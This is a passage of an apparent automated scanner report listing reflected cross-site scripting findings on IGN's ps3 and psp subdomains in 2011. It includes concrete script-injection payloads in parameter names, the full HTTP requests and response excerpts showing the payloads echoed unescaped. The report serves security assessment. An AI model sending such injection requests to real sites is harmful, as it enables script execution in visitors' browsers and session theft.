Set-Cookie: NGUserID=a016c07-32465-375314034-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:19 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043779099v-1n-12mc+1297043779099mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 164881

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New PlayStation 3
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/upcoming.html?7621b"><script>alert(1)</script>99eee11f49=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.397. http://ps3.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 776ef"-alert(1)-"5b8197062dd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/upcoming.html?776ef"-alert(1)-"5b8197062dd=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:22 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:22 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-485-906823046-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:21 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043781861v-1n-12mc+1297043781861mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 164702

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New PlayStation 3
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/upcoming.html?776ef"-alert(1)-"5b8197062dd=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.398. http://ps3.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73753"><script>alert(1)</script>625518b1650 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/videos.html?73753"><script>alert(1)</script>625518b1650=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:18 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27912-1830894742-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:18 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043778352v-1n-12mc+1297043778352mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 122928

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PS3: Games, Ch
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/index/videos.html?73753"><script>alert(1)</script>625518b1650=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.399. http://ps3.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8e6a6"-alert(1)-"830681dc7ae was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/videos.html?8e6a6"-alert(1)-"830681dc7ae=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-873763186-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:20 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043780393v-1n-12mc+1297043780393mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 122871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN PS3: Games, Ch
...[SNIP]...
typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/index/videos.html?8e6a6"-alert(1)-"830681dc7ae=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.400. http://ps3.ign.com/objects/142/14235018.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/objects/142/14235018.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c085"-alert(1)-"df569643981 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/142/14235018.html?8c085"-alert(1)-"df569643981=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 123679
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=18ulnyaykui2c;Path=/includes
Set-Cookie: freq=c-1297043806375v-1n-12mc+1297043806375mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15004-490263594-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:46 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 01:56:46 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:46 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Mass Effect 2
...[SNIP]...
comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/objects/142/14235018.html?8c085"-alert(1)-"df569643981=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.401. http://ps3.ign.com/objects/142/14235018.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/objects/142/14235018.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 246bf"><script>alert(1)</script>30de6eceb5a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/142/14235018.html?246bf"><script>alert(1)</script>30de6eceb5a=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 123722
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=39i02tmi7mk7p;Path=/includes
Set-Cookie: freq=c-1297043802263v-1n-12mc+1297043802263mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-2045806889-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 01:56:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:42 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Mass Effect 2
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/objects/142/14235018.html?246bf"><script>alert(1)</script>30de6eceb5a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.402. http://ps3.ign.com/objects/143/14324403.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/objects/143/14324403.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9dc55"><script>alert(1)</script>3fe39be957d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/143/14324403.html?9dc55"><script>alert(1)</script>3fe39be957d=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 118093
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=4hl1adq50il69;Path=/includes
Set-Cookie: freq=c-1297043799982v-1n-12mc+1297043799982mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-1840409912-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:39 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 01:56:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:40 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Killzone 3</t
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/objects/143/14324403.html?9dc55"><script>alert(1)</script>3fe39be957d=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.403. http://ps3.ign.com/objects/143/14324403.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/objects/143/14324403.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6131c"-alert(1)-"1c25f5dad70 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/143/14324403.html?6131c"-alert(1)-"1c25f5dad70=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 117978
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=11va6szxwc0xu;Path=/includes
Set-Cookie: freq=c-1297043803100v-1n-12mc+1297043803100mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15004-1967687004-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:43 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 01:56:43 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:43 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Killzone 3</t
...[SNIP]...
comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/objects/143/14324403.html?6131c"-alert(1)-"1c25f5dad70=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.404. http://ps3.ign.com/objects/143/14336698.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/objects/143/14336698.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2829"><script>alert(1)</script>30bdea2ac62 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/143/14336698.html?c2829"><script>alert(1)</script>30bdea2ac62=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 116432
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=4cn6a2gca8ha0;Path=/includes
Set-Cookie: freq=c-1297043789468v-1n-12mc+1297043789468mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24287-1385093063-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 01:56:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:29 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Explodemon!</
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/objects/143/14336698.html?c2829"><script>alert(1)</script>30bdea2ac62=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.405. http://ps3.ign.com/objects/143/14336698.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/objects/143/14336698.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ed6a8"-alert(1)-"0486319f11c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/143/14336698.html?ed6a8"-alert(1)-"0486319f11c=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 120190
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=4hk065lhw8wm0;Path=/includes
Set-Cookie: freq=c-1297043791683v-1n-12mc+1297043791683mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15002-97891147-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 01:56:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:32 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Explodemon!</
...[SNIP]...
comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/objects/143/14336698.html?ed6a8"-alert(1)-"0486319f11c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.406. http://psp.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fed0a"><script>alert(1)</script>909d278e2b3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?fed0a"><script>alert(1)</script>909d278e2b3=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32465-2040998095-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:18 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043838883v-1n-12mc+1297043838883mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 164427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Sony PlayStation P
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://psp.ign.com/?fed0a"><script>alert(1)</script>909d278e2b3=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.407. http://psp.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 569d8"-alert(1)-"d310445092f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?569d8"-alert(1)-"d310445092f=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-1003272698-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:23 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043843911v-1n-12mc+1297043843911mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 163571

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Sony PlayStation P
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://psp.ign.com/?569d8"-alert(1)-"d310445092f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.408. http://psp.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb565"><script>alert(1)</script>7cee49060e3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/features.html?fb565"><script>alert(1)</script>7cee49060e3=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:16 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:16 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-2067652041-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:16 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043836538v-1n-12mc+1297043836538mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 145683

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>PSP & PSPgo Review
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://psp.ign.com/index/features.html?fb565"><script>alert(1)</script>7cee49060e3=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.409. http://psp.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8104e"-alert(1)-"f56fede6b07 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/features.html?8104e"-alert(1)-"f56fede6b07=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24287-1873592984-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:18 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043838884v-1n-12mc+1297043838884mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 147338

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>PSP & PSPgo Review
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://psp.ign.com/index/features.html?8104e"-alert(1)-"f56fede6b07=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.410. http://psp.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f3e46"-alert(1)-"b63af14015c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/games.html?f3e46"-alert(1)-"b63af14015c=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-25496-1118003530-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:37 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
